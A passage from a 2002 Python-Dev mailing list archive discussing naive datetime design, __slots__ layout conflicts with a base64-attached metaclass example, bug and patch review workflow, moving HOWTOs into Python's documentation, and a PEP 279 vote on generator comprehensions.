if you keep the equivalent of the tm_isdst bit you can get all 
the conversions working too. And it fits the model: I have a 
naive tm_isdst bit in my head on that one night per year (if it 
hasn't been lost in partying yet:-).

Hmm, and possibly you want a function discontinuity(t1, t2) that 
will return 0 normally but something else (a value in seconds? 
Then it could even be used for leap seconds by the real 
die-hards) if there's a time discontinuity between t1 and t2.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From David Abrahams" <david.abrahams@rcn.com  Tue Mar  5 22:22:14 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Tue, 5 Mar 2002 17:22:14 -0500
Subject: [Python-Dev] Explorations on new-style classes
References: <Pine.LNX.4.44.0203051507090.5551-200000@penguin.theopalgroup.com>
Message-ID: <073001c1c494$8040aa50$0500a8c0@boostconsulting.com>

----- Original Message -----
From: "Kevin Jacobs" <jacobs@penguin.theopalgroup.com>


> Second, I've been twisting metaclasses to do my evil bidding.

Fun, innit?

> In this case,
> I have implemented pseudo-typed attributes and slots in Python. e.g.:
>
>   class A(object):
>     __metaclass__ = ConstrainedObject
>     __slots__ = {'a':int,'b':float}

Although I understand the appeal, using __slots__ to constrain the
attributes might be misguided (depending on your goals):

    >>> class A(object):
    ...     __slots__ = [ 'a' ]
    ...
    >>> class B(object):
    ...     __slots__ = [ 'b' ]
    ...
    >>> class C(A,B): pass
    ...
    Traceback (most recent call last):
      File "<stdin>", line 1, in ?
    TypeError: multiple bases have instance lay-out conflict
    >>> class D(object): pass
    ...
    >>> class C(A,D): pass
    ...
    >>>






From jacobs@penguin.theopalgroup.com  Tue Mar  5 22:23:32 2002
From: jacobs@penguin.theopalgroup.com (Kevin Jacobs)
Date: Tue, 5 Mar 2002 17:23:32 -0500 (EST)
Subject: [Python-Dev] Explorations on new-style classes
In-Reply-To: <073001c1c494$8040aa50$0500a8c0@boostconsulting.com>
Message-ID: <Pine.LNX.4.44.0203051722230.6044-100000@penguin.theopalgroup.com>

On Tue, 5 Mar 2002, David Abrahams wrote:
> Although I understand the appeal, using __slots__ to constrain the
> attributes might be misguided (depending on your goals):

Perhaps, but most of my work centers around building many very light-weight
objects, so slots are very useful.

-Kevin

--
Kevin Jacobs
The OPAL Group - Enterprise Systems Architect
Voice: (216) 986-0710 x 19         E-mail: jacobs@theopalgroup.com
Fax:   (216) 986-0714              WWW:    http://www.theopalgroup.com




From tim.one@comcast.net  Wed Mar  6 05:03:02 2002
From: tim.one@comcast.net (Tim Peters)
Date: Wed, 06 Mar 2002 00:03:02 -0500
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
In-Reply-To: <3C852D7B.5CDAD664@lemburg.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCGELKOBAA.tim.one@comcast.net>

[Guido, on "naive time"]
> ...
> Naive time calculations are easier than local time calculations,
> because they don't have to worry about DST.  You only have to be
> careful when converting between naive time and UTC (or anything else
> that has a concept of timezone).

[MAL]
> Just to let you know: you are slowly narrowing in on mxDateTime ;-)
> (the naive type is pretty much what I have implemented as
> DateTime object).

It's not *that* slowly -- this started less than a week ago <wink>.  But,
yes, Guido's basic class is heading more in the direction of what mxDateTime
started as.  By the time you had need of documenting things like

    Adding/Subtracting DateTime instances causes the result to
    inherit the calendar of the left operand.

I think "naive time" got lost in the options.  Guido has in mind a pure
"proleptic Gregorian" gimmick.  We'll see how long that lasts ...



From jacobs@penguin.theopalgroup.com  Wed Mar  6 14:47:06 2002
From: jacobs@penguin.theopalgroup.com (Kevin Jacobs)
Date: Wed, 6 Mar 2002 09:47:06 -0500 (EST)
Subject: [Python-Dev] Explorations on new-style classes
In-Reply-To: <073001c1c494$8040aa50$0500a8c0@boostconsulting.com>
Message-ID: <Pine.LNX.4.44.0203060857090.8532-200000@penguin.theopalgroup.com>

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--416156269-1032046193-1015426026=:8532
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Tue, 5 Mar 2002, David Abrahams wrote:
> Although I understand the appeal, using __slots__ to constrain the
> attributes might be misguided (depending on your goals):

How about something even more misguided?  I've implemented a metaclass that
works around the problem of layout conflicts.  e.g.:

  class A(object):
    __metaclass__ = LazySlotBuilder
    __slots__ = 'a'

  class B(object):
    __metaclass__ = LazySlotBuilder
    __slots__ = 'b'

  class C(B):
    __slots__ = 'c'

  class AB(A,B):
    __slots__ = ['ab']

  class ABC(A,B,C,AB):
    __slots__ = ['abc']

  abc=ABC()
  print type(abc).__slots__
  > ['a', 'c', 'b', 'ab', 'abc']


An implementation of LazySlotBuilder metaclass is attached.  It works by
creating 2 types instead of 1 if slots are present.  The first class is an
abstract version of the desired class with no slots declared in itself or
its base classes.  A concrete version is then built that inherits from the
abstract version, adding only the slot definitions and a reference to the
abstract class.

The current version has one significant limitation: it requires that all
base classes with slots have the LazySlotBuilder metaclass.  This can be
worked around, but makes the implementation needlessly complex.

I'm very much interested in what people think about these ideas about using
(or mis-using) slots, metaclasses, new-style classes, and other cutting-edge
Python features.  I am intentionally trying to push the limits and take
things beyond what some of these features were originally intended to do. 
It is my hope that such examples will educate, spur discussion and help
determine exactly which behaviors are intentional and supported, and which
are implementation artifacts that should not be taunted lightly.

I am also aware that a sizeable fraction of python-dev may not care much
about this topic, so I would not be offended if the consensus was that this
discussion is not topical enough for the list.  In that case, I would be
happy to move it elsewhere, maybe to its own mailing list.  Just keep in
mind that these features are potentially the most confusing and powerful
language extensions that Python has ever had, and that people (like myself)
are currently writing code that is beginning to make full use of them. 
There are a lot of dusty corners to explore, and it is important for the
principal Python developers to be aware of and to deal with any gremlins
hiding in them.

It would also be nice if some of the examples I'm working on could
eventually become part of the official Python test suite.  If for no other
reason, because the current set of tests is somewhat sparse.

Regards,
-Kevin

--
Kevin Jacobs
The OPAL Group - Enterprise Systems Architect
Voice: (216) 986-0710 x 19         E-mail: jacobs@theopalgroup.com
Fax:   (216) 986-0714              WWW:    http://www.theopalgroup.com

--416156269-1032046193-1015426026=:8532
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="bluesmoke.py"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.44.0203060947060.8532@penguin.theopalgroup.com>
Content-Description: 
Content-Disposition: attachment; filename="bluesmoke.py"

JycnDQpGaWxlOiAgICAgICAgICBibHVlc21va2UucHkNCg0KQXV0aG9yOiAg
ICAgICAgS2V2aW4gSmFjb2JzIChqYWNvYnNAdGhlb3BhbGdyb3VwLmNvbSkN
Cg0KQ3JlYXRlZDogICAgICAgTWFyY2ggNiwgMjAwMg0KDQpQdXJwb3NlOiAg
ICAgICBJbXBsZW1lbnRzIGluc2FuZSBtZXRhY2xhc3MgdHJpY2tzIGluIFB5
dGhvbg0KDQpDb21wYXRpYmlsaXR5OiBQeXRob24gMi4yDQoNClJlcXVpcmVz
OiAgICAgIA0KDQpSZXZpc2lvbjogICAgICAkSWQ6ICQNCicnJw0KDQpjbGFz
cyBMYXp5U2xvdEJ1aWxkZXIodHlwZSk6DQogIGRlZiBfX25ld19fKGNscywg
bmFtZSwgYmFzZXMsIGNsc19kaWN0KToNCiAgICB2aXNpdGVkID0ge30NCiAg
ICBzbG90cyAgID0ge30NCiAgICBuZXdfYmFzZXMgPSBbXQ0KDQogICAgZm9y
IGJhc2UgaW4gYmFzZXM6DQogICAgICAjIEdyYWIgYWJzdHJhY3QgdmVyc2lv
bnMgb2YgYWxsIG9mIG91ciBiYXNlcy4gIFRoaXMgY3VycmVudGx5IGFzc3Vt
ZXMgdGhhdA0KICAgICAgIyBhbGwgY2xhc3NlcyB3aXRoIHNsb3RzIGhhdmUg
dGhlIExhenlTbG90QnVpbGRlciBtZXRhY2xhc3MuICBJdCB3b3VsZCBub3QN
CiAgICAgICMgYmUgZGlmZmljdWx0IHRvIHJlbGF4IHRoaXMgYXNzdW1wdGlv
bi4NCiAgICAgIG5ld19iYXNlcy5hcHBlbmQoYmFzZS5fX2RpY3RfXy5nZXQo
J19fYWJzdHJhY3RfdHlwZScsYmFzZSkpDQoNCiAgICAgICMgQ29sbGVjdCBh
bGwgc2xvdHMgZnJvbSBiYXNlIGNsYXNzZXMgYXNzdW1pbmcgdGhhdCBfX3Ns
b3RzX18gaGFzIG5vdA0KICAgICAgIyBiZWVuIG1vZGlmaWVkIHNpbmNlIG9i
amVjdCBjcmVhdGlvbi4gIEJldHRlciB3YXlzIG9mIGRvaW5nIHRoaXMgYXJl
DQogICAgICAjIGNlcnRhaW5seSBwb3NzaWJsZS4NCiAgICAgIGZvciBiIGlu
IGJhc2UubXJvKCk6DQogICAgICAgIGlmIGIgaW4gdmlzaXRlZDoNCiAgICAg
ICAgICBjb250aW51ZQ0KICAgICAgICB2aXNpdGVkW2JdPTENCiAgICAgICAg
Zm9yIHNsb3QgaW4gZ2V0YXR0cihiLCdfX3Nsb3RzX18nLFtdKToNCiAgICAg
ICAgICBzbG90c1tzbG90XSA9IDENCg0KICAgICMgQ29sbGVjdCB0aGUgc2xv
dHMgZGVjbGFyZWQgaW4gdGhlIGNsYXNzIHRvIGJlIGNyZWF0ZWQNCiAgICBp
ZiAnX19zbG90c19fJyBpbiBjbHNfZGljdDoNCiAgICAgIGZvciBzbG90IGlu
IGNsc19kaWN0WydfX3Nsb3RzX18nXToNCiAgICAgICAgc2xvdHNbc2xvdF0g
PSAxDQoNCiAgICAjIElmIG5vIHNsb3RzIHdlcmUgZm91bmQsIHRoZW4gYnVp
bGQgdGhlIG5vcm1hbCBib3JpbmcgY2xhc3MNCiAgICBpZiBub3Qgc2xvdHM6
DQogICAgICByZXR1cm4gc3VwZXIoTGF6eVNsb3RCdWlsZGVyLGNscykuX19u
ZXdfXyhjbHMsIG5hbWUsIGJhc2VzLCBjbHNfZGljdCkNCg0KICAgICMgSWYg
d2UgaGF2ZSBhbnkgc2xvdHMsIGhhbmRsZSB0aGUgY2FzZSB3aGVyZSB3ZSBo
YXZlIHRvIG1ha2UgYWJzdHJhY3QgYW5kIGNvbmNyZXRlIGNsYXNzZXMNCiAg
ICAjIEdldCByaWQgb2Ygc2xvdCBkZWNsYXJhdGlvbnMgdG8gcHJlcGFyZSB0
aGUgYWJzdHJhY3QgY2xhc3MgDQogICAgaWYgJ19fc2xvdHNfXycgaW4gY2xz
X2RpY3Q6DQogICAgICBkZWwgY2xzX2RpY3RbJ19fc2xvdHNfXyddDQoNCiAg
ICAjIHJlLXR1cGxlLWl6ZSB0aGUgYmFzZXMsIHNpbmNlIHR5cGUoKSB3YW50
cyB0aGVtIHRoYXQgd2F5DQogICAgbmV3X2Jhc2VzID0gdHVwbGUobmV3X2Jh
c2VzKQ0KDQogICAgIyBCdWlsZCB0aGUgYWJzdHJhY3QgdHlwZQ0KICAgIGFi
c3RyYWN0X3R5cGUgPSBzdXBlcihMYXp5U2xvdEJ1aWxkZXIsY2xzKS5fX25l
d19fKGNscywgJ2Fic3RyYWN0JytuYW1lLCBuZXdfYmFzZXMsIGNsc19kaWN0
KQ0KDQogICAgIyBCdWlsZCB0aGUgY29uY3JldGUgdHlwZSBvbiB0b3Agb2Yg
dGhlIGFic3RyYWN0DQogICAgY2xzX2RpY3QgPSB7fQ0KICAgIGNsc19kaWN0
WydfX3Nsb3RzX18nXSA9IHNsb3RzLmtleXMoKQ0KICAgIGNsc19kaWN0Wydf
X2Fic3RyYWN0X3R5cGUnXSA9IGFic3RyYWN0X3R5cGUNCg0KICAgICMgQnVp
bGQgYW5kIHJldHVybiB0aGUgbmV3IGNvbmNyZXRlIHR5cGUNCiAgICByZXR1
cm4gc3VwZXIoTGF6eVNsb3RCdWlsZGVyLGNscykuX19uZXdfXyhjbHMsIG5h
bWUsIChhYnN0cmFjdF90eXBlLCksIGNsc19kaWN0KQ0KDQoNCmRlZiB0ZXN0
X0xhenlTbG90QnVpbGRlcigpOg0KICBjbGFzcyBCYXNlKG9iamVjdCk6DQog
ICAgX19tZXRhY2xhc3NfXyA9IExhenlTbG90QnVpbGRlcg0KDQogIGNsYXNz
IEEoQmFzZSk6DQogICAgX19zbG90c19fID0gJ2EnDQoNCiAgY2xhc3MgQihC
YXNlKToNCiAgICBfX3Nsb3RzX18gPSAnYicNCg0KICBjbGFzcyBDKEIpOg0K
ICAgIF9fc2xvdHNfXyA9ICdjJw0KDQogIGNsYXNzIEFCKEEsQik6DQogICAg
X19zbG90c19fID0gWydhYiddDQoNCiAgY2xhc3MgQUJDKEEsQixDLEFCKToN
CiAgICBfX3Nsb3RzX18gPSBbJ2FiYyddDQoNCiAgYWJjPUFCQygpDQogIHBy
aW50IHR5cGUoYWJjKS5fX3Nsb3RzX18NCg0KaWYgX19uYW1lX18gPT0gJ19f
bWFpbl9fJzoNCiAgdGVzdF9MYXp5U2xvdEJ1aWxkZXIoKQ0K
--416156269-1032046193-1015426026=:8532--


From mwh@python.net  Wed Mar  6 15:22:58 2002
From: mwh@python.net (Michael Hudson)
Date: 06 Mar 2002 15:22:58 +0000
Subject: [Python-Dev] Explorations on new-style classes
In-Reply-To: Kevin Jacobs's message of "Wed, 6 Mar 2002 09:47:06 -0500 (EST)"
References: <Pine.LNX.4.44.0203060857090.8532-200000@penguin.theopalgroup.com>
Message-ID: <2m1yexsotp.fsf@starship.python.net>

Kevin Jacobs <jacobs@penguin.theopalgroup.com> writes:
[snip]
> I'm very much interested in what people think about these ideas about using
> (or mis-using) slots, metaclasses, new-style classes, and other cutting-edge
> Python features.

I think it's hard to have an opinion until I come across some problem
where using these new features helps.  This hasn't happened to me yet.

[...]
> I am also aware that a sizeable fraction of python-dev may not care much
> about this topic, so I would not be offended if the consensus was that this
> discussion is not topical enough for the list.

Hey, I ignore most of python-dev, most days.  I think this stuff is
interesting, but can't spare the brain cells to think hard about it :(

> It would also be nice if some of the examples I'm working on could
> eventually become part of the official Python test suite.  If for no other
> reason, because the current set of tests is somewhat sparse.

Submitting patches will make this vastly more likely...

Cheers,
M.

-- 
 All parts should go together without forcing. You must remember that
 the parts you are  reassembling were disassembled by you.  Therefore,
 if you can't get them together again, there must be a reason. By all
 means, do not use a hammer.           -- IBM maintenance manual, 1925


From skip@pobox.com  Wed Mar  6 15:58:45 2002
From: skip@pobox.com (Skip Montanaro)
Date: Wed, 6 Mar 2002 09:58:45 -0600
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: <Dsqh8.57$_Z4.284@news.hananet.net>
References: <q0ph8.54$_Z4.217@news.hananet.net>
 <un0xl4w2a.fsf@python.net>
 <Dsqh8.57$_Z4.284@news.hananet.net>
Message-ID: <15494.15541.61955.283237@beluga.mojam.com>

I'm giving this message a new subject and redirecting it to python-dev,
mostly to consider the last two paragraphs.  It was originally part of a
thread about raw_input() not flushing stdout before emitting its prompt in
certain situations.

JG == Jonathan Gardner, MH == Michael Hudson.

    JG> I will write another bug report about the unresponsiveness to bug
    JG> reports as well, as there are a lot of bugs that aren't even
    JG> addressed at sourceforge.

    MH> Oh, that will help, sure.

    Jonathan> It is a bug. There needs to be a fix for it. Do you need more
    Jonathan> volunteers?  How do we get involved? Where do we sign up? What
    Jonathan> needs to be done? Maybe there needs to be more coordination
    Jonathan> and less coding at the top.

Two things should help move things through the mill faster:

    * If you think you know how to fix the bug, submit a patch along with
      your bug report to SF.

    * Assign it to just about anybody so someone is notified.  The
      exceptions here are that I don't think you should assign bugs to one
      of the PythonLabs Five (Guido, Tim, Barry, Jeremy, Fred).  Let one of
      the other developers decide if it warrants their attention.

As the Python user base grows I think we do need a way to expand the
developer pool without a lot of effort because the amount of feedback is
always going to be proportional to the number of users.  It's not
immediately obvious to me how this should happen.  The first expansion from
the original five to roughly the current crop of developers wasn't terribly
difficult, because for the most part Guido et al either knew them personally
or had a long enough exposure to them on the net to feel confident they
would make positive contributions.  The overall community is large enough
now that not all potentially good developers become visible easily.
Requiring a somewhat rigorous vetting process will consume more time for the
current developers and distract people from time working on the code base.
On the other hand, not requiring any vetting is likely to allow the
occasional donkey into the corral with the horses.

There are people here with experience in other large(r) open source projects
(Perl, Apache, Mozilla).  How do they handle this problem?

-- 
Skip Montanaro (skip@pobox.com - http://www.mojam.com/)


From martin@v.loewis.de  Wed Mar  6 17:28:39 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 06 Mar 2002 18:28:39 +0100
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: <15494.15541.61955.283237@beluga.mojam.com>
References: <q0ph8.54$_Z4.217@news.hananet.net> <un0xl4w2a.fsf@python.net>
 <Dsqh8.57$_Z4.284@news.hananet.net>
 <15494.15541.61955.283237@beluga.mojam.com>
Message-ID: <m3adtlr4fs.fsf@mira.informatik.hu-berlin.de>

Skip Montanaro <skip@pobox.com> writes:

> As the Python user base grows I think we do need a way to expand the
> developer pool without a lot of effort because the amount of feedback is
> always going to be proportional to the number of users.  It's not
> immediately obvious to me how this should happen.  

I think people should be encouraged to comment on bugs and
patches. I'll recognize an educated comment when I see it. E.g. if
there is a patch where the first comment says "change this for that
reason", the second comment says "what about documentation", and the
third is "ok, I've implemented all these requirements", then I'm
willing to apply the patch without any deeper analysis.

People who submit loads of patches *and comment on other people's
patches* should be given write permissions on the CVS eventually. It
is critical that not only those who care about their own stuff become
involved, but in particular those which are interested in general
maintainance. That, of course, applies to the current set of
contributors already: anybody on this list is encouraged to review
patches and bug-reports.

Also, I worry about patches much more than about bug reports. If
people don't see their bug reports answered, they might start fixing
the problems themselves, and get involved. If they don't see their
patches answered, they may lose faith.

> There are people here with experience in other large(r) open source
> projects (Perl, Apache, Mozilla).  How do they handle this problem?

Speaking from GCC experience: they don't. There is a huge backlog of
unreviewed patches, even though GCC gives access to CVS more
generously (there is a special "write after approval" category of
developers, so that maintainers don't have to worry about integrating
a patch after it has been approved).

Regards,
Martin


From akuchlin@mems-exchange.org  Wed Mar  6 17:42:28 2002
From: akuchlin@mems-exchange.org (Andrew Kuchling)
Date: Wed, 06 Mar 2002 12:42:28 -0500
Subject: [Python-Dev] Incorporating some of the HOWTOs
Message-ID: <E16ifQq-0005Yt-00@ute.mems-exchange.org>

I'm becoming more and more convinced that at least some of the HOWTOs
should become part of the Python documentation.  Motivation:

       * A sizable number of the documents are about Python as a
         whole, and therefore would be more naturally part of 
         Python's tree than a separate one.

       * If the documents were in the Python CVS tree, changes would
         be glanced at by the 30-odd people on the python-checkins
         list as opposed to the 8 people on the pyhowto-checkins list

       * They would get increased visibility from being on
         www.python.org/doc/ .

My candidates for addition would be (in decreasing order of
suitability):

* The "What's New" documents, which are like really verbose release
  notes.

* python-dev, which discusses how Python is developed, where to report
  bugs, and that sort of thing.

* "Editor Configuration", which discusses how to configure various
  editors (vi, Emacs, Alpha, CodeWright, jed, ....) for editing Python code.
 
* The Python Advocacy HOWTO, which should be dusted off and updated
  to serve as a sort of advocacy/marketing FAQ.

The rest of the HOWTOs are smaller and more task-specific (rexec,
curses); a case could be made for creating Doc/howto/, but I won't 
argue that case right now.

Reactions (particularly from Fred)?

--amk                                                             (www.amk.ca)
"The future" has arrived but they forgot to update the docs.
    -- R. David Murray, 9 May 2000

(The random number generator strikes again!)


From mwh@python.net  Wed Mar  6 17:54:06 2002
From: mwh@python.net (Michael Hudson)
Date: 06 Mar 2002 17:54:06 +0000
Subject: [Python-Dev] Re: [Python-checkins] CVS: python/dist/src/Lib os.py,1.51,1.52
In-Reply-To: Neal Norwitz's message of "Wed, 06 Mar 2002 12:34:28 -0500"
References: <E16iewi-0006Aa-00@usw-pr-cvs1.sourceforge.net> <3C865324.C0D3B332@metaslash.com>
Message-ID: <2mn0xlh9a9.fsf@starship.python.net>

Neal Norwitz <neal@metaslash.com> writes:

> Michael:
> 
> I'm curious why you did import copy_reg as _copy_reg.
> Is it because you don't want clutter when doing 'from os import *'?

Well, just to empasize the "this is here for obscure internal purposes
only" effect.

> Would it be better to do:
> 
> 	import copy_reg
> 	# use copy_reg
> 	del copy_reg
> ?

Maybe.  Don't care much either way.

Cheers,
M.

-- 
  : Giant screaming pieces of excrement, they are.
  I have a feeling that some of the people in here have a 
  MUCH more exciting time relieving themselves than I do.
                                       -- Mike Sphar & Dave Brown, asr


From martin@v.loewis.de  Wed Mar  6 18:12:02 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 06 Mar 2002 19:12:02 +0100
Subject: [Python-Dev] Incorporating some of the HOWTOs
In-Reply-To: <E16ifQq-0005Yt-00@ute.mems-exchange.org>
References: <E16ifQq-0005Yt-00@ute.mems-exchange.org>
Message-ID: <m3zo1lo9al.fsf@mira.informatik.hu-berlin.de>

Andrew Kuchling <akuchlin@mems-exchange.org> writes:

> Reactions (particularly from Fred)?

I'm worried about the question what the primary source of such
documents is; I think any change in location should be accompanied
with a removal of the documents from their current location (in case
of Web documents, ideally with a redirect to the new location).

Regards,
Martin



From akuchlin@mems-exchange.org  Wed Mar  6 18:16:45 2002
From: akuchlin@mems-exchange.org (Andrew Kuchling)
Date: Wed, 6 Mar 2002 13:16:45 -0500
Subject: [Python-Dev] Incorporating some of the HOWTOs
In-Reply-To: <m3zo1lo9al.fsf@mira.informatik.hu-berlin.de>
References: <E16ifQq-0005Yt-00@ute.mems-exchange.org> <m3zo1lo9al.fsf@mira.informatik.hu-berlin.de>
Message-ID: <20020306181645.GA21536@ute.mems-exchange.org>

On Wed, Mar 06, 2002 at 07:12:02PM +0100, Martin v. Loewis wrote:
>documents is; I think any change in location should be accompanied
>with a removal of the documents from their current location (in case
>of Web documents, ideally with a redirect to the new location).

Certainly.  My long-term goal is to shut down the py-howto SourceForge
project and get all the documents rehoused somewhere else.

--amk                                                             (www.amk.ca)
I'm the Doctor. Who are you and why are you shooting at me?
    -- The Doctor, in "The Face of Evil"



From python@rcn.com  Wed Mar  6 18:23:10 2002
From: python@rcn.com (Raymond Hettinger)
Date: Wed, 6 Mar 2002 13:23:10 -0500
Subject: [Python-Dev] Please Vote -- Generator Comprehensions
Message-ID: <006e01c1c53b$f95f4fc0$52f7a4d8@othello>

This is a multi-part message in MIME format.

------=_NextPart_000_006B_01C1C512.0F85E180
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

After about 30 reviewers, the comments on PEP 279, Enhanced Generators, =
have slowed to a trickle.
The most universally liked part of the proposal is the addition of =
generator comprehensions.
No negative feedback was received on generator comprehensions; however, =
one person wanted to go further and add restartability; also, there was =
a little heartburn about why the existing list comprehensions expose =
their looping variable.

Before I send generator comprehension portion to Guido for =
pronouncement, I would like to get all of your votes +1 or -1 on just =
the part about Generator Comprehensions.

Everyone, please vote +1 or -1.=20

Thank you,


Raymond Hettinger



Here is the proposal in a nutshell:

    If a list comprehension starts with a 'yield' keyword, then
    express the comprehension with a generator.  For example:

        g =3D [yield (len(line),line)  for line in file  if len(line)>5]
        print g.next()

    This would be implemented as if it had been written:

        def __tempGenComp(self):
            for line in file:
                if len(line) > 5:
                    yield (len(line), line)
        g =3D __tempGenComp()
        print g.next()




The full PEP is at http://python.sourceforge.net/peps/pep-0279.html.
The PEP has a full discussion of the restartability issue, an
analysis of why the loop variable should not be exposed,=20
and thoughts on why the syntax is appropriate.  It represents
the collective wisdom of all the review comments submitted to-date.



------=_NextPart_000_006B_01C1C512.0F85E180
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4207.2601" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>After about 30 reviewers, the comments =
on PEP 279,=20
Enhanced Generators, have slowed to a trickle.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>The most universally liked part of the =
proposal is=20
the addition of generator comprehensions.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>No negative feedback was received on =
generator=20
comprehensions; however, one person wanted to go further and add =
restartability;=20
also,&nbsp;</FONT><FONT face=3DArial size=3D2>there was a little =
heartburn about why=20
the existing list comprehensions expose their looping =
variable.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Before I send generator comprehension =
portion to=20
Guido for pronouncement, I would like to get all of your votes +1 or -1 =
on just=20
the part about Generator Comprehensions.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Everyone, please vote +1 or =
-1.&nbsp;</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thank you,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Raymond Hettinger</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"http://python.sourceforge.net/peps/pep-0279.html"></A></FONT>&nbs=
p;</DIV>
<DIV><FONT face=3DArial size=3D2>Here is the proposal in a =
nutshell:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; If a list =
comprehension starts=20
with a 'yield' keyword, then<BR>&nbsp;&nbsp;&nbsp; express the =
comprehension=20
with a generator.&nbsp; For=20
example:<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; g =3D [yield=20
(len(line),line)&nbsp; for line in file&nbsp; if=20
len(line)&gt;5]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print=20
g.next()<BR><BR>&nbsp;&nbsp;&nbsp; This would be implemented as if it =
had been=20
written:<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; def=20
__tempGenComp(self):<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;=20
for line in=20
file:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;=20
if len(line) &gt;=20
5:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
yield (len(line), line)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; g =
=3D=20
__tempGenComp()<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print=20
g.next()<BR></FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>The full PEP is at </FONT><A=20
href=3D"http://python.sourceforge.net/peps/pep-0279.html"><FONT =
face=3DArial=20
size=3D2>http://python.sourceforge.net/peps/pep-0279.html</FONT></A><FONT=
=20
face=3DArial size=3D2>.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>The PEP has a full discussion of the =
restartability=20
issue,&nbsp;an</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>analysis of why the loop variable =
should not be=20
exposed, </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>and&nbsp;thoughts on why&nbsp;the =
syntax is=20
appropriate.</FONT><FONT face=3DArial size=3D2>&nbsp; It =
represents</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>the collective wisdom of all the review =
comments=20
submitted to-date.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_006B_01C1C512.0F85E180--



From guido@python.org  Wed Mar  6 20:14:34 2002
From: guido@python.org (Guido van Rossum)
Date: Wed, 06 Mar 2002 15:14:34 -0500
Subject: [Python-Dev] Incorporating some of the HOWTOs
In-Reply-To: Your message of "Wed, 06 Mar 2002 13:16:45 EST."
 <20020306181645.GA21536@ute.mems-exchange.org>
References: <E16ifQq-0005Yt-00@ute.mems-exchange.org> <m3zo1lo9al.fsf@mira.informatik.hu-berlin.de>
 <20020306181645.GA21536@ute.mems-exchange.org>
Message-ID: <200203062014.g26KEYb17624@pcp742651pcs.reston01.va.comcast.net>

> Certainly.  My long-term goal is to shut down the py-howto SourceForge
> project and get all the documents rehoused somewhere else.

python.org is at your service.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mal@lemburg.com  Wed Mar  6 21:14:08 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Wed, 06 Mar 2002 22:14:08 +0100
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
References: <LNBBLJKPBEHFEDALKOLCGELKOBAA.tim.one@comcast.net>
Message-ID: <3C8686A0.D8C4BCC@lemburg.com>

Tim Peters wrote:
> 
> [Guido, on "naive time"]
> > ...
> > Naive time calculations are easier than local time calculations,
> > because they don't have to worry about DST.  You only have to be
> > careful when converting between naive time and UTC (or anything else
> > that has a concept of timezone).
